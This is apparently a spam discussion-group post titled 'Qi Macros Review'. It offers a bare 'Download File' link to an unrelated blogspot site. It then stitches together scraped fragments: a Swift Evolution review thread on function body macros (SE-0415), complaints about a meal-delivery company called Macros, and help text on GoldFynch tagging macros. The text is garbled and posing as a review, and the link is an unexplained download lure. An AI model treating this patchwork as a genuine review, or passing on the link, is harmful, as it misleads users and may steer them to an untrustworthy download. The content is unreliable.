Qi Macros Review

0 views
Skip to first unread message

Carmen Kalua

unread,
Jul 31, 2024, 8:29:50 AM7/31/24
to vorcherstagtai

Reviews are an important part of the Swift evolution process. All review feedback should be either on this forum thread or, if you would like to keep your feedback private, directly to me as the review manager by DM. When contacting the review manager directly, please put "SE-0415" in the subject line.

qi macros review


Download Filehttps://9cestdu-gese.blogspot.com/?zfzc=2zVg3I



If you'd like to try this proposal out, you can download a toolchain supporting it from Swift.org; the most recent Trunk Development (main) snapshots support the feature. You will need to add -enable-experimental-feature BodyMacros to your build flags.

The goal of the review process is to improve the proposal under review through constructive criticism and, eventually, determine the direction of Swift. When writing your review, here are some questions you might want to answer in your review:

Preamble macros will not be able to catch errors thrown from the function body which makes them actually not a really good fit for tracing/metrics/logging. We would need a new kind of defer block that gets access to the thrown error, if any error was thrown for example something like this:

It's good to see closures addressed in future directions, but I think this feature seems rather incomplete without closure support. It could even be surprising and confusing for people who are learning about it. Is there a plan for how soon this can be addressed?

One immediate concern that came to mind was that macros introducing local variables (especially if shadowed) is likely to leave readers lost. Is it possible to allow access to them through a $ accessor perhaps? i.e. $span

This issue exists with all macros that can introduce new declarations, which includes most of the attached macros and also freestanding declaration macros. We count on the explicit sigil (@) in the source code to indicate where expansion occurs, and on tools showing the results of macro expansion when needed.

That's totally my fault for missing this heh. I thought we'll get away with tracing and preambles but there's a hard requirement to end a trace with an error if the function throws -- so we would not be able to make a preamble sadly -- and would need to stick with function body replacement (with the known downsides of bad composition).

There's an "alternatives considered" section for this. I thought about it for a while and couldn't come up with a design that was a meaningful improvement over a body macro that calls a function with the original function body stuffed into a closure.

To have a macro produce boilerplate like what you show above, the macro implementation would be given some (opaque) variable names for the normal result and the error result, and then separately return code blocks to be executed on successful return (which gets the result value) and on thrown error (which gets the error value).

No. But I think composition with this kind of wrapping of the user's code is a little odd. You're not just putting new code before and after the user's code, you're stashing it into a closure (which can have semantic impacts).

Extend defer to have some spelling for accessing the return value or thrown error value. That could be generally useful, and would compose with this proposal. It has the advantage of not having to change the structure of the user's code.

Define composition of body macros in this proposal such that later body macros see the function bodies produced by earlier body macros. This deviates slightly from the way other macros work, in that macros generally don't see the outputs of other macros, but is not terribly complicated.

I was recently working on a member attribute macro and wanted to annotate members with a "marker" of sorts so that a peer/accessor macro could witness this annotation and change its expansion accordingly. The macro test I wrote actually did behave this way, where the peer/accessor could "see" the attribute added by the member attribute macro, but despite some passing assertions, the actual macro did not behave this way.

I'm not enthusiastic about doing that. Macros are intended not to step on each other---you can expand one macro and see what it does, without having to carefully follow the order of expansion to get to the result. Body macros today don't compose today because they're following that same philosophy.

I was recently working on a member attribute macro and wanted to annotate members with a "marker" of sorts so that a peer/accessor macro could witness this annotation and change its expansion accordingly.

Since the member-attribute macro would be present on an enclosing declaration, it should be possible to address this by looking at the parent context when the API becomes available. It means duplicating some logic, but it also means you can reason about the inner macro expansion without having performed the outer macro expansion.

So... trying not to derail the current review: I think this would be okey to keep as is, and try to follow up with more powerful defer -- might be good to get a take from the core team if that's somethign we could consider.

I think the proposal gets it exactly right! It has a convenient API in preamble macros that are easy to implement and can cover many use cases. At the same time, body macros allow implementers to create very powerful APIs if they are willing to put more work into the implementation.

This doesn't work for many of the use-cases I have in mind, though. e.g. a @Retrying macro has to look at the result of the wrapped code and then make choices about control flow (i.e. whether to actually exit the function or to retry the body).

Tangentially, I'm also not immediately convinced that defer will ever gain such functionality - the ability to 'catch' and inspect returned & thrown values - because outside of macros with their special constraints, I think there's already existing ways to achieve the same goals with defer as-is. e.g. write the code to save the result in a Result and simply refer to that in the defer block. So I foresee debate about the merits of emphasising defer further.

I would be strongly in favour of this proposal if preamble macros were replaced with wrapper macros, given that the latter are a strict superset of the former (unless I'm missing something?) To reiterate, AFAICT if a macro author wishes to write a preamble-style macro they can create a wrapper macro that returns something like

I think there's a lot of patterns that fit the wrapper form but not the preamble form. For example, there's currently an open PR on the Swift repo to implement support for the preamble form in task locals:

Seems to me that Wrapper macros would preclude the need for new APIs like this, offer a safer interface, and work in far more situations. Reiterating my feedback from the pitch again, this also makes it a far simpler decision when choosing which style of function body macro you want:

Paid Macros twice, both times never received my meals. After multiple emails to support they said they'd investigate, and then they literally closed the case! They CLOSED the case without even investigating it. And never heard anything else.

Does Macros customer service team exist?
I have tried contacting someone on their live chat and have not received any responses after 20+ minutes online yesterday and today, they do not answer their 1300286227 phone number after 30 minutes on hold, nor have they responded to my email to sup...@macros.com.au.
I don't know what else to do?!

GoldFynch lets you set up "macros" - shortcuts to help you and your collaborators quickly assign and unassign tags to documents as you view them in the Document Viewer. Using a macro is very simple, first, hit the trigger command .. (which is two periods hit in quick succession). You will then see a list of existing macros. Just press one of the keys assigned as a shortcut and its action will be carried out.

You can view the macro run history, which shows how many times a macro ran, along with the success or fail status. When you select a macro that failed, you can view the exact action step at which the failure occurred, allowing you to identify why the failures occurred.

In certain scenarios, a step fails because a previous step has set values incorrectly or has missing values. Select a step from the macro history to review your macro actions, attribute names, and attribute values.

93ddb68554
Reply all
Reply to author
Forward
0 new messages